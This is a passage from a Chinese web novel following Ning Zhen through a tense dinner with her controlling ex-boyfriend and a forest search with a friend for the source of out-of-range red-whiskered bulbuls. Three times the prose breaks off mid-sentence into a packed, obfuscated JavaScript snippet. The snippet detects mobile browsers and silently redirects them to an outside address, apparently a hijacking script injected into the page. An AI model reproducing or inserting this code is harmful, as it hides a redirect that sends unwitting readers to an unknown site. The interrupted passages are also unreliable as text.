筱梦小心翼翼褪下香奈儿手袋,眼角耷拉着应付她们。她面色疲惫,终于也陷入被大呼小叫着观赏的境地,但从始至终没有对宁蓁回望一眼。 奇怪…… 这些无关紧要、零零碎碎的琐事,她自己都不知道为什么要想起来。 寮房内寂静无声。 大概受不了冻结的气氛,安唯问:“我可以放点音乐吗。” “好啊。” 宁蓁撕开湿巾擦手,仔细整理裙子,装回原本的地方。如果不是亲眼所见,她不会相信奢侈的高定礼服竟然就这么放着,和叠成卷的纸筒挤进一个盒子。 爵士乐舒缓流淌,像很久以前莫昭经常在车上播放的音乐。 回忆接连不断上涌。后来,她的视线被逮到了,在筱梦拎起香奈儿出门的时候。 ——“蓁蓁,我的包好看吗。” 对方突然转身发问,宁蓁窝在椅子里吓了一跳,点点头说好看。 她站着,居高临下。 ——“因为我配得上,我值得。” 旁人能坦然接受恋人的心意,礼物到了自己怀里却变成烫手山芋。直到临近毕业,宁蓁才明白“值得”的含义。 她坐回桌前。没多久,李肃又着急发消息来,催她回复。 「到底有时间吗?给个准话吧」 没有,不希望有。 可理由不够充分。 电脑屏幕里的珙桐开了花,页面停在习性和生长地区。喜潮湿多雨,冬季温和。 “诶,我刷到一个小鸟图,上次看见的那个!” 大数据把观鸟摄影推到了旁边。安唯的手机顺着桌面滑到眼前,是南部城市常见的家门鸟。 照片里,它自带腮红,叼着一根树枝歪头歪脑。 标签显示拍摄者在雨南,距北城两千多公里,几乎位于国境最南端。宁蓁心血来潮,打开搜索栏,指尖在键盘上飞跃。 红耳鹎的分布,凤头鹀的分布,迷鸟记录,观鸟圈子的照片和争论。 “留鸟,部分游荡。” 顾名思义,留鸟终年生活在原地,不随季节变化而迁徙。她迅速扫视网页的关键信息,心跳越来越快。 “城市观测记录……” 图标曲线降至X轴。 答案…… 居然是零。 21. 失约与邀约 谜题早就出现了,她直到现在才察觉,作为侦探实在有失体面。 宁蓁侧过身子,目光射向身边的天使朋友。 “怎么啦!” 她的眼神稍显陌生,在冷漠与木然之外,让安唯眉头一紧。 “北城没有红耳鹎。” “啊?” “北城没有红耳鹎。”宁蓁又说了一次。 “你上次说书里的数据没及时更新。” “我说错了。” 她回想两秒:“但是鹭山真的有,red-whiskered。” “我也碰到过,所以想再去看看到底是怎么回事。” 宁蓁依然目不转睛。 “你的意思是,”她缓缓开口,伸出一根手指向自己,“想让我一起去?” 对方点点头。 “好啊,”安唯不假思索答应下来,“什么时候?” “清明节那天。” “呃,”她话音一顿,“不能提前或晚点吗?” 这次对方抿了抿唇,小幅度摇头,表示非那天不可。 “但是我那天要和朋友见面,”安唯莫名心虚,继续解释,“一个月前就约好了。” “嗯。” 宁蓁用浅淡的笑容掩饰失落,回正身子盯着电脑屏幕,反复切换网页,好像上面有什么珍贵的数据。 “问问沐沐主人吧?” 小唯突然提议。 她悬在触控板的手指停了下来。 “哎,他叫什么来着。”短发女孩抬手撩了下头发,掌心撑住额头回想。 安唯的确不知道温霖的名字。宁蓁知道,却说不出口。 为什么偏偏他的名字我没办法…… 最后小唯干脆放弃思考:“总之,和沐沐主人一起去吧!” 今天才刚见面,又要占用他下次放假的时间吗?是不是太频繁了…… 宁蓁含糊其辞结束话题,抄起手机打字: 「清明节有事,扫墓我另找时间」 她暂时不想去见家人的墓碑,尤其不想旁边的人是姨妈。 发完消息,手机幸运地保持静默,五分钟后,她知道李肃不会再打电话来。 可以回到朋友圈里松一口气了。 在那里,宁蓁看见筱梦。她没有删除大学室友的微信,一直放任她们在四四方方的相片中生长。筱梦比以前更漂亮了,长发染成耀眼的金色,眉毛也漂成金的。照片地点在海边,海洋幽深静谧,海平面上有一轮初升的太阳。 往下滑,朋友圈中唯一的高中生最近迷上了跳舞,穿一身黑色运动服,发型变成齐刘海,妆容精致却不浓郁,自拍照里能看清根根分明的睫毛。 “因为我配得上,我值得。” 宁蓁脑海中响起那句话。 但她无法忽视善善的文案——“我可以得到任何人的爱”。 当然,你可以。你成绩名列前茅,会弹钢琴,有引以为傲的出身和校园。你的青春五光十色,穿搭、打扮、旅行、游学,古板的大人却从来都不苛责。你喜欢做什么就做什么,而且什么都能做好。这样的女孩无论站在哪里都是闪烁的星星,所有人的爱全部信手拈来。 除了你的老师。 只有他不是你应该倾慕的对象。 宁蓁放大照片,取消,再放大,再取消。 “你不会生气了吧,蓁蓁。” 小唯趴在桌上悄悄探头,试图用视线接住她垂下的目光。 “没有!”宁蓁双眼微瞠,“我在刷朋友圈……” “那,等出去后吃烤肉,我请客!我知道一家味道很棒的,在我大学门口。”安唯满意地筹划。 “‘出去’……” 她被逗笑了,关掉朋友圈,从收藏已久的视频里找出一条“为什么师生恋是砒霜”,按下转发。 * 当天她睡得很沉。 梦境杳无音讯,许久不见师弟的消息。她记得遭到一群人围堵要他们交出夕明谷,记得师弟不愿暴露自己的真身是一团流影。 后来呢? 第二天清晨,宁蓁迷迷糊糊戴上耳机,打开短视频app。 鸰一上次时隔七天才发新视频,这次干脆悄悄断更了。好在观众还能复习过去,尽管他橱窗里的每个作品都不足二十秒。 这么短,几乎是电光石火的一瞥。 可她竟然觉得他越来越近。 毕竟之前在梦里患难与共,甚至,宁蓁认为梦的缺失归咎于最近没点开过鸰一的账号。那两张脸始终模糊不清——后者戴着黑色口罩,前者梦醒后就会消散,但她确定他们其实是同一个人。 时间尚早,动捕演员的音乐是飘渺的笙,她困得眼角涌出泪水,打起哈欠。 意识飘忽着,眼前朦朦胧胧跳出微信界面。 她特意等到第二天,对着温霖和下面的边牧头像发呆。直接问他想不想查清红耳鹎之谜?还是拜托沐沐转告…… 小狗在手机里笑得软乎乎的。正要碰到那双耳朵,一条新消息猝然跃至顶端。 莫昭的背影带着右上角的红点刺入眼睛。 「今天一起吃晚饭吧,蓁蓁」 宁蓁顿时睡意全无。 他怎么知道她醒着? 「我失眠了」 「不,其实我应该说我想你了」 「下午去接你」 她准备拒绝,但立刻打字会透露自己已读他的消息,况且他打点了义工组长,寺里繁杂的工作已经不是借口。 宁蓁坐起身,扣过手机。红白撞色的手提袋挺立在桌上,与泛黄的旧寮房格格不入。 长发睡乱了,打着卷。她想,刚好趁这次机会还给他。 * 莫昭的邀约总像临时起意。以前也这样,因为他太忙,忙得日夜颠倒,必须使劲儿才能挤出时间。 傍晚,宁蓁坐进副驾驶。车又是新的,她不认识,但弥漫的香水味一成不变。挡风玻璃前依旧有兔子摆件,比起躺姿更像跌倒,被胶水之类的东西牢牢固定。 “裙子我带回来了。” 莫昭镜片后的余光扫向她:“不喜欢?” “太贵重了,谈不上喜不喜欢。” 推背感开始发力,她逐渐眩晕,被迫靠紧头枕。 车子沿着高速驶向市区,他兀自提起别的:“我早上八点才睡着。” 宁蓁旋身,手提袋放在后座,最终落在谁都够不到的地方。 没有音乐,车里诡异地安静下来,他在等她的回应。 “……找你的私人医生开点安眠药吧。” 莫昭忍不住低笑一声:“我哪有那种东西。” 天黑得晚了,天色却不是晴的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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前方,霓虹光晃得眼花。看来刚才那段路不算隐蔽,只是路灯该修了。繁华的城市怎么可能比深山还危险?豪车驶入地下车库,宁蓁跟在他背后走进电梯,记忆回到很久以前的夜晚。 二十岁,初次踏进酒吧的门,递过来的酒甜得像果汁,转眼她就灌下去好几杯,滩成一条几乎溺死在水里的鱼。莫昭帮她解围,带她离开。中间发生了什么完全不记得,第二天,她从自家床上醒来,听见有人刷一下拉开窗帘。 “小小年纪学人家喝酒,还喝得烂醉。” 房间内的人是李肃。 “幸好你男朋友负责,给你送到楼下,赶紧清醒清醒吧,别忘了跟他道谢。” 是啊,真的什么都没发生。 ——她头痛欲裂,浑身无力地想。 “吃点什么?” 回过神已经坐在桌前。莫昭的袖口和手表压着洁白的桌布,低头翻阅菜单。餐厅位于摩天大楼顶层,座位临窗,抬眼就能看见五光十色的夜景。在城市里,人们总想把黑夜过成白天。 “什么都好。”她说。 两人一起吃饭时,永远是他负责点菜。 光线昏暗,显得暧昧,看不清对方的眼睛,连说话的口型都若隐若现。 莫昭叫来服务生交谈,而她一直在发呆,眉毛偶尔拧成八字。 如果没记错的话,他们来过这家餐厅—— 22. 过敏原 他们曾经甜蜜过,毋庸置疑。 有时候莫昭开车载她出去踏青,去近郊或远郊,路过宠物乐园。春天,风和日暖,拉布拉多和边境牧羊犬肆意狂奔,卷起新鲜的青草。 “我什么时候才能有小狗啊。” “想要我送你一条,”莫昭搂着她的腰,语气轻描淡写,“什么品种?” 一只黑白边牧反复从栅栏前掠过,似乎在招惹她,宁蓁反而有些沮丧。 “只是随便想想,我现在没有精力负责,也没有太多空间让它活动。” 莫昭似乎颇为欣慰:“这么懂事。” “你没想过养宠物吗。” 她在照片里见过他某处住所,北城中心地带的大平层。 “我更喜欢野生动物,”他望向鲜绿的草坪,“不用绳子拴着,自由的动物。” 一只喜鹊不合时宜降落在草地上。宁蓁的背生硬地靠在他胸前,忽然说不出话来。 “像这种,”莫昭投去欣赏的眼光,“自由的鸟。” 犬吠声乍响,喜鹊拍拍翅膀飞走了。她攥紧自己发抖的手腕,没有引起怀疑。 晚上,她被带进一间餐厅,装潢古典,吧台后的红酒摆了整面墙。约会原本很顺利,直到莫昭接到一通电话。宁蓁向来沉默,从不问是谁打来的,她不了解他繁杂的事业,可至少明白别干扰他,但那次不同。 他拿起手机时迟疑了,声线比平时更低。 ——就像现在这样。 服务生送来咖啡,宁蓁端起杯子,别开视线。 “……” “我不想再说第二次了,行吗?” “好聚好散吧。” 微弱火光缓缓摇曳,她分了神,注视着桌边蜡烛,感觉自己要被吸进去。 地点似曾相识,拼凑起破碎的记忆。时光倒转了一千八百天,微笑凝固在宁蓁脸上。 “谁的电话?”她投去警惕的目光。 五年前,莫昭坦白回答:“前女友。” 意料之中。他们刚认识时他已经二十五岁,不像没谈过恋爱的年纪。对啊,他条件优异,让人青眼有加,存在几个前任并不稀奇。 可宁蓁偏偏鬼使神差继续问下去。 “前女友是……什么样的人?” 她详装镇定,看莫昭侃侃而谈。 “一个模特,外表挺大气的,个子又高,很显眼,骨子里是那种听话的好女孩儿。” “所以,”宁蓁垂下胳膊不安地摆弄裙边,“为什么分手?” “她被工作压垮了,怀疑自己跟不上行业潮流,开始整容,慢慢的越来越沉迷,最后陷进去了。” “啊……” 酒杯轻轻晃动,莫昭眼中流出怜悯。 “我们……算得上契合,我和她,想法,身体,都很好。” “那怎么不复合?” “严格来说,纠缠过一段时间。”他自嘲道,“其实挺奇怪的,好像坐过我副驾驶的人总有各种原因,最后都离不开。” “……” “她放不下,说要重新追我,不过,物是人非,早就过去了。” 他低头解锁手机,拇指左右滑动,翻出前女友的照片呈到宁蓁眼前。 不,我其实不想看,但那距离躲也躲不开。 “好漂亮……” 宁蓁难以自抑地感慨,如对方所说,那是个光彩照人的大美女。 “是吧。”莫昭收回右手,“这照片是她整容之前拍的,可惜了。” 她点点头,双眸呆滞,脖子也僵硬了,无意识和自己的肩膀对抗着。 “怎么,不高兴了?” 他挑了下左眉,语调却变得贴心。宁蓁眨眨眼,没说话,用叉子贯穿餐篮里的奶酪球。 “是你自己问的,”莫昭似笑非笑,“不然我不会讲。” “那在你眼里,我是什么样子?” …… 蜡烛仍未熄灭。宁蓁打了个寒颤,眼前,自己的双手正拿着刀叉切入一块牛排。 当时我…… 真的那样问他了吗? 问“我是什么样子”……? 莫昭接起电话,低声说了几句便挂断,这次,她一言不发,看起来无动于衷。 他不解释,反而聊起菜品:“尝尝吧,味道还和以前一样。” 宁蓁切下一小块放入口中,黏稠的汁液喷出来,堵在舌根,要借着咖啡才能吞下去。 陌生的口感。 背后汗津津的,浑身发冷。福缘寺的素斋吃惯了,她竟然已经忘了如何吃肉。 “寺里最近风景不错。” 荨麻疹褪了,他就不再催她回家。宁蓁放下刀叉,只捧着餐前面包。 “嗯。” 莫昭手中的切割相当娴熟:“怪不得成总夫人最近频频光顾。” “鸿鹄计划怎样了。” 她转移注意,不让自己再一头扎进回忆里。 “你以前从来都不关心这些。” “因为,”宁蓁搜寻着他多年前使用过的字眼,“物是人非。” 莫昭的薄唇渐渐松动,最后改变了口型。 “说实话,马马虎虎。你见过成理了,不是省油的灯,可不管最后结果怎样,我还是希望你能站在我这边。” 食物迸发出油脂。她依赖湿巾,酒精挥发带走水分,两只手干得紧绷。餐厅内光线幽暗,摇摇欲坠,四周冷气弥漫,钻入手背上细小的伤口。 “好冷。” 宁蓁抱住双臂,心不在焉。 “冷吗?” 莫昭看着她,顺便打量背后那桌客人的穿着。然后他起身,脱下外套,披在宁蓁肩上。纤薄的肩膀,显得他的衣服像阵乌黑的海浪。 她小腿忽然酸软,仿佛失去力气一般。 “不用。” “冷就穿着吧。” 香水味萦绕,带刺的、极具侵略性的玫瑰。熟悉的晕眩感再次袭来,宁蓁心神不宁,拿起手机翻起微信。 方善善撤回消息后就再没发来新的,对话框里也没有小狗生气勃勃地扑过来。 现在,没有人理会她,山谷里只有自己的回音。 衣服上的香味越来越浓。殷红的玫瑰突然长出了脸,青面獠牙疯狂嘶吼着。回去!回去!回去!时光扭转回二十一岁,记忆的碎片分崩离析。 他说,蓁蓁,你不用什么事情都对我倾诉。 他说,我有时候真的很忙,我们得给彼此一些空间。 “可是我没有朋友。” 二十六岁的宁蓁审视着五年前那个女孩。 “我没有朋友。”女孩重复道,双眼波光粼粼,“我在学校的时间……我做什么都是一个人。” 红酒见底,莫昭神态慵懒,手腕蜷着撑住半边脸。 “唔,你的性格的确会导致这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071749|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点。” 他喝得微醺却依然坦诚。 “你太敏感,太没有安全感,让人觉得很累。” “我……” 女孩流出委屈的眼泪,着急解释那是因为你之前忙得不见踪影。 “别哭了。难得有时间见面,我不希望我们都不开心。” 莫昭递来纸巾。 “蓁蓁,听我说完。” 她抬手抹掉泪水。 “即便如此我还是爱你,我会一直站在你身边。” …… 墙上,赭石色挂钟的时针指向八点。一股潮气吹得她的思绪锈迹斑斑,只能靠咖啡保持清醒。 如今她想,当初何必说出那些话。 一个人,不是很好吗? “想吃什么甜品,”他问,“今天有两种,慕斯和派。” 她倏忽间抬眼,脱了那件沉重的外套,走向男人身后,挂在椅背。 “都好。” 莫昭替她决定:“那就各上一份吧。” 这场饭局不伦不类,她几乎没动主菜,只吃得下面包和沙拉。 “待会我送你走,回家,还是去福缘寺?” 宁蓁回到座位上,向外望,夜色一片混沌,小雨迟迟不落下来。 “不用了,我一个人可以。” 反正城市的夜晚没有星星,看不出是阴是晴。 “不行,”莫昭凝视着她,“我不放心。” 服务生送上甜品。左边一盏橙色慕斯,圆形,晶莹剔透;右边摆着一角芒果派。餐品因日期而定,周三是樱桃,周四是巧克力,周五轮到芒果。 “吃吧。” 他唇形模糊。蜡烛的火苗跳耀着,光线仍旧昏蒙暧昧。 这家餐厅的法甜做得精致玲珑,在业内颇受好评。宁蓁剜下一勺慕斯,露出横切面的层次。 酸甜柔软,馥郁的芒果香气,在嘴里化开时勾起怦然的心跳。 又一次,她看了看手机,还是空空如也。 饭后,莫昭接过账单。宁蓁想走,但电梯直达车库,迅速向下坠落。轿厢门对着一面镜子,走近时她瞥了一眼,猛然间忘记了呼吸。 两道人影清晰映在镜中。 谁……? 那是……谁? 地下,如同来时,宁蓁跟在莫昭身后。他的背像一堵墙,所有流动的风都噤若寒蝉。 他用钥匙唤醒他的车。还没坐进去,她已经闻见一阵皮革气味。 “我们以后不要见面了。” 那瞬间,她决定背叛姨妈。 昔日恋人冰冷决绝的话语让莫昭转过身:“还想继续自我欺骗?” 他探问,语调低沉危险。 宁蓁不懂他的意思。 欺骗? 我在骗我自己? “我以前说过吧,坐过我副驾驶的人不能轻易离开,你也不例外。” 隔着镜片,莫昭的目光深深望进她眼底。他的手伸过来,穿越她的胸口她的骨骼,张开五指,紧紧攥住那颗心脏。 车库的光线明暗交错。 宁蓁瞳孔颤动着,竭力保持缄默。 “蓁蓁,你明明还爱我。” 莫昭凑近一步,将她困在身体与车之间。 他侧了头喁喁私语,亲吻的前兆。 玫瑰香味浸入他的鼻息。 “不然你的心跳,为什么那么快?” 23. 红耳鹎之谜(上) 男人游刃有余,仿佛亲手摸到她脉搏。 是,没错。宁蓁呼吸急促,一双鹿角横冲直撞,差点撑破心脏。 为什么心跳那么快? 她无法解释,只觉得手臂发麻,耳边回响着自己窒闷的喘气声。 停下。 可是心脏停止跳动她就会死。 莫昭靠得越来越近,看着她的眼睛,意图不言自明。他向来擅于侵入她的防线。那双嘴唇薄而平整,唇角像锋利的锐角,她怀疑自己要被割伤。 所以,停下。 他即将吻到她。那个时候,手机蓦地传来呜咽般的振动。 ——像是警铃。宁蓁僵直的上半身突然回暖,绷紧腰腹,一把推开了面前的男人。 风有了活动的迹象。她跨出去,想象双腿折叠再落地,即使膝盖咯吱地响,即使心跳声冲向耳边马上要淹没一切。 跑吧。 跑向出口。 眨眼间,宁蓁已经站在夜幕下。 街上散发着潮湿甚至泥泞的味道。要下雨了,得赶紧叫车到鹭山,过程中她摸到自己连手腕都渗出一层冷汗。 心跳还没平静,宁蓁茫然地捂住胸口。 可能我真的还爱他。 但更令人惊奇的是,奔跑前她好像迸发出惊人的力气。 用这双过分纤细的手臂。 忽然,屏幕通知栏弹出微信消息。 「有必要这样吗,搞得我们像仇人」 莫昭发来的,紧接着是另一句。 「你回去吧,注意安全」 夜晚温度骤降,她长长呼出一口气,裹紧外衣。对了,刚才手机的振动…… 微信里,表示未读的红色数字分别是四和一。 沐沐.:「好的姐姐」 沐沐.:「当然有空!」 沐沐.:「(可爱的笑容贴图)」 沐沐.:「(又一张摇尾巴的贴图)」 宁蓁紧蹙的眉稍微松快些,打开沐沐主人的对话框。 L.:「抱歉今天一直忙到晕头转向才看到,那约好清明节见」 她目光顿挫,后知后觉发现他们的ID格式一样,最后都有个半角句号。 这是属于他的习惯,但宁蓁莫名觉得后面缺了点什么。 ……想不起来。 心脏在扩张,咕咚咕咚地超速,似乎模仿着吞咽牛肉的动作。刺痛感爬进手臂内侧,她借路灯掀开袖子,皮肤上又冒出星星点点的红。 荨麻疹复发了,也许之前根本没好利落。 身子很沉,宁蓁感觉肺部充血,艰难往路边挪动两步,靠短促的呼吸撑着拉开车门跌入后座。 沐沐在它自己的表情包里对人类微笑,她打下两个字。 「谢谢」 “晚上好,现在出发,麻烦系好安全带……”驾驶座递来一道温柔的女声,“嗯?是你,又去福缘寺做义工啊。” 两人在后视镜中对上视线,宁蓁却没反应过来。 司机笑了笑:“上次半夜接过你的单,去鹭山。抱歉这次还是有朋友陪着,别介意。” 她下意识回答没关系,才看见副驾驶有人,身形是男性,头发稍长,染成银灰色,用皮筋扎起半个丸子。 竟然和同一位司机碰面了,可她难受得无力思考这奇妙的缘分。 车子驶向宽阔的公路。前座那女生问:“你不舒服吗?” 宁蓁自以为不会被揭穿。“我……休息一下就好了。” “不要勉强自己哦。” 车灯照亮夜晚的路,赶在下雨之前。 * 那天荨麻疹再次发作,幸好寮房有剩余的药和补剂,勉强压了下去。清明节临近,家人居住的陵园在遥远的东郊,宁蓁对李肃说了谎,心里没有一点想去扫墓的念头。 至少她找到一件更要紧的事。 假日,抚慰犬沐沐摇着尾巴,一步一步跃上山门台阶。宁蓁迎过去,掌心残存着酒精挥发的干燥感,让毛茸茸的脑袋蹭蹭她的手。他们要去林子里找红耳鹎,温霖担心小狗的叫声会吓跑小鸟,然后两人听见一道熟悉的呼喊,小唯不知道从哪里冒出来飞奔而至。 宁蓁问,不是要和朋友见面吗。她一脸纯真,说对啊,在鹭山见面。 那位“朋友”站在她身后,宽大的黑色卫衣和运动裤,鼻梁架着黑墨镜,戴了口罩。神神秘秘的,只能看得出是个女孩子。 两人准备在附近徒步,最后沐沐顺理成章交到她们手里。临走前小唯还开心地挥手:“去吧去吧。” 山间人行道上,宁蓁仰起头。 云层厚重遮住日光,天空应有的颜色落在他的身体。 她早就想问,终究难忍好奇:“那道蓝色是……?” 卫衣袖挽起两折,温霖的手臂贴了一条浅蓝色胶布,顺着青筋向上蔓延,没入衣物,一直延伸到后颈。 他肤色干净,被胶布衬得瞩目,肌肉的走向清晰可见。 宁蓁默默看了一会儿,躲开,但下次停留得更久。 “这个,”温霖眼睛弯弯,“是肌肉贴,或者叫运动绷带。” 他回答,即刻转身,把袖子翻上去给她看。 “能预防二次拉伤,牵引作用不算明显,聊胜于无。” 可他的表情不是“聊胜于无”,似乎终于等到她开口询问。 宁蓁说:“像仿生人……的血液。” “仿生人啊。”他笑得开朗。 那种赏心悦目、格外脆弱的仿生人,皮肤有柔腻的触感,却囿于单一的程序设定弄坏自己,经常流血。 他一定不知道她已经暗暗写好了设定。无论如何,绷带总让人联想到伤痕。 “怎么会受伤。”宁蓁外表依然冷淡,看不出太多变化。 “算是工作,”温霖放下衣袖,“有时候得干点体力活儿。” 她没再具体问。诸如此类的话题通常有来有往:我是做某行业的,那你呢。宁蓁暂时不想透露她靠稿费生活。 相机背带斜穿过他的背。温霖今天带了旧的变焦镜头,最远250MM,是两人第一次观鸟时的距离。 宁蓁回正视线,简单说明了红耳鹎的事。 “但是我们上次不是看见过……” 他的反应和小唯一样,随即翻出手机里的证据。 相册照片。那时他使用单反相机,拍下溪边戏水的小鸟。尽管镜头不如后来的600定清晰,但黑白羽毛中一抹红的配色无疑属于红耳鹎。 “它们是留鸟,不会迁徙。” “原来如此,”温霖揉着左肩,“不该出现在北城的野生鸟类……是谜题啊。” 宁蓁为后半句话怔了一瞬。 他们好像在微妙的地方不谋而合。 前两天大风过境,树叶被吹得泛白。杏花尚未凋谢,秘密的林缘寂静无声。 她从衣服里摸出鸟哨。 在野外,寻找某种特定鸟类堪比大海捞针,但她可以。 宁蓁轻咬下唇,吸气。她的哨音没有杂质,模拟出身临其境的啼鸣。 “啾啾!” 有只黑白相间的小家伙飞到枝头回应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071750|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有红色,她睁眼仔细辨认:“应该是沼泽山雀。” 温霖怕惊到小鸟,欲言又止。宁蓁整理了呼吸第二次尝试,竹哨中碰撞的气流更加强烈。 “啾啾!” 还是那只小山雀。 她已经在尽力模仿红耳鹎的鸣唱,信息交流却出了错。 “现在才调查会不会……”温霖低声说,“我该早点发现的。” 不,早该发现的是我。 她垂下双手漠然地想。哨声停了,那只沼泽山雀依旧唧唧喳喳地唱着,音调奇诡。 “那个叫声……” 背后突然一阵火辣辣的痛。耳边有硬物抽打在皮肉的响,又沉又闷。 ——“说多少遍才记得住!那是什么意思!” 宁蓁蓦地看见童年的自己,被迫记起那种鸣叫的含义。 “我过去看看。” 她仿佛失神一般兀自走进林间。 “啾啾!” 沼泽山雀张开翅膀,从那根树枝飞到这根树枝,不时歪着头观察情况。 “——啾啾!啾!” 它开始唱歌了。她渐渐被带入森林内部,树叶窸窸窣窣,不远处,鸟鸣一团团翻起绿色的海,将她吞没。 你要带我去哪里? 没来得及问,答案已然揭晓。一座长方形石板矗立在林中,边缘打磨得光滑,却像破开土壤从地里长出来。 “这是墓碑?” 温霖的嗓音显得诧异。 “嗯?”宁蓁回头,才注意到他一直跟在后面寸步不离,“……但上面没有字,不知道是谁的。” 如今这个时代竟然还有人会立无字碑。她以为那是久远的,甚至武侠小说里的故事。 “好奇怪的水果。” 他走近两步,仍然保持敬畏的距离。碑前摆着苹果和桃子,用筷子之类的坚硬物穿透,另一头插在土里。 宁蓁喃喃自语:“……清明节。” 丛生的杂草偏偏到无字墓碑周围消失了,显然有人来扫过墓,摆上这些祭品。 他接住她的话,思索着:“但是为什么要用筷子固定,而且要埋那么深。” “野生动物。”她说。 上次林间蹿出一只华南兔,没准它会用鼻子和前爪把祭品滚到窝里。 “可是兔子和狐狸不能直接张嘴吗?”温霖提出疑问,“只做了固定,没办法防止水果被偷吃。” 宁蓁的直觉飘忽着,捕捉到另一种完全相反的可能。 “或许那个人……不是想防备野生动物。” 温霖脑海中灵光一现:“是吸引?” 扫墓者希望森林里的动物前来光顾。他绕到侧面,貌似完整的苹果已经被吃掉了几块果肉。 他低身看了看:“果然有啄的痕迹。” 宁蓁站在原地,正对着无字碑。 苹果鲜红,桃子透着新鲜水灵。水果一共只有五颗,均匀插在碑前,不知道位置和数字有什么具体含义。 她说:“还不到桃子成熟的季节。” “嗯,看来祭拜的人花了不少心思。” 雨水是沉默的眼泪,在光滑的石碑表面留下踪迹。 何时立碑,埋葬的是谁,他们都无从得知。 “啾啾!” 沼泽山雀从树枝一跃而下,落在石碑边缘,朝她歪歪脑袋。 宁蓁脸上流露出笑意:“你带我来分享水果。” “啾——!”山雀动了动翅膀。 她拿出鸟哨,吹出表示友好的信号,细密地回荡在蓊郁的林间。 24. 红耳鹎之谜(下) 每当她奏响鸟哨,背后就像长出双翼。 温霖一直这么认为。那只鸟可爱灵动,整体呈灰褐色,头上像戴了顶黑帽子。他以为宁蓁要在掌心迎接它,与自然融为一体。 但她反而不动声色退了两步。 犹豫一瞬,他问:“为什么要退后?” 小山雀蹦到桃子旁边吃起来。宁蓁静静看着,说:“太近了。” 她的安全线远比预想的严格。 “永远不要在没有防护的情况下接近野生动物。” 她转过头,视线上升。温霖从那道冰冷的目光中感到一丝震慑。 “最严重的话,可能会死。” “……我记住了。” 他眨了眨眼,似乎有些紧张。 宁蓁的表情反倒松懈下来:“不过概率非常低,避免直接接触就好。” 谁都无法断言野生动物有没有携带真菌或病毒。部分病原体对动物无害,对人类来说却是潜在的威胁。 温霖拍下那只沼泽山雀吃水果的瞬间,谨慎地回到她身边。 “该走了。”她说。 某个生命孤零零地留在这里。宁蓁在墓前久立,胸口生出一股陌生的寒意,蹂躏着她的心。 “这条线索暂时和红耳鹎无关。”温霖对着石碑颔首,“打扰了。” 她走在后方,依依不舍地往回看,直到那座坟墓彻底藏入林叶。 淙淙的溪水愈发清晰。 鸟鸣声远了,近的是他的背影。 “其实,除了人为没有别的答案吧。”温霖注意着脚下的路,说。 她以沉默代替同意。红耳鹎和凤头鹀常年游荡于长江以南,在北城,它们甚至算不上迷鸟。 “不然我们等等看。”他提议。 “你的意思是……” 脑海中,一张叠了三折的白纸徐徐展开,上面布满密密麻麻的手写字,她恍惚读到其中一句—— “因为,”温霖的嗓音从身前传来,“凶手要回到犯罪现场。” 他没有回头。宁蓁视线攀在他的背,再滑落到他手臂的绷带上,如同沸腾的蓝色血液那样流动。 他说出了我脑内的想法。 怎么做到的……? 单纯的巧合吗? 她决定要问,只要用玩笑的语气就不会显得太唐突。但前面的人忽然步履一顿,她嘴边的话又收回来,额头险些扑到他肩膀。 温霖旋身挡住了视野,像一阵风。 “有点恐怖。” “什么?” “一个鸟窝,我建议你别看。” “我确实看不见。” 他不是热衷故弄玄虚的性格,只安静等待着宁蓁的选择。 最终她决定:“让我看看吧。” 他让开一个身位。硕大的鸟窝掉落在草丛中,枯枝摔散了,骨折似的七零八落,里面盛着一团黑黢黢的东西,盘成圆形。 黑色极细的丝线。 ……头发? 怪不得他说“有点恐怖”——乍一看就像鸟窝里埋了颗人头。 “应该是喜鹊的窝。”宁蓁判断。 喜鹊是鸦科鹊属,相当聪明,懂得物尽其用,筑巢时偶尔会用上城市里的铁丝和衣架。 “精装修的房子,”温霖拿起相机推进镜头,“幸好里面没有幼崽。” “它们到哪里收集这么多……” 鹭山偏远,基础设施相对平庸,所以游客鲜少光顾。筑巢的喜鹊会专门为了人类的头发四处奔波?不,不太可能。她想到附近人烟聚集的地点。大概只有福缘寺,但那里半数的住民早就削发做了和尚。 “该不会,”这时,温霖却开口,“有人抛尸吧。” 一缕阴影稍稍遮住他的眼睛。 宁蓁微怔,一时默然,脑海中又浮现出三道折痕的白纸,伴随着簌簌的摩擦声。 空气静了几秒。 鸟鸣婉转,冲破密密匝匝的树叶。他想挽回:“抱歉,我不是……” 没等对方说完,她猛然推了他一下。 “快跑!” “怎么了?” “喜鹊的叫声里有元音‘a’,很难听。” “那刚才的是……” “乌鸫,要是被误会弄坏了它的窝,我们就再也进不来了。” 宁蓁边跑边解释,声音又低又急。他们越过树林越过溪流,越过影影绰绰的杏花丛。温霖飞快掀开了枝叶。她在想那举动很危险,也许会被划伤,到时候他会流出破碎的蓝色的血。 回到公路,她喘着气,慢慢平复了呼吸。天色渐晴,温霖肩上落了片白色花瓣。 “乌鸫就是那个‘报恩鸟’。” 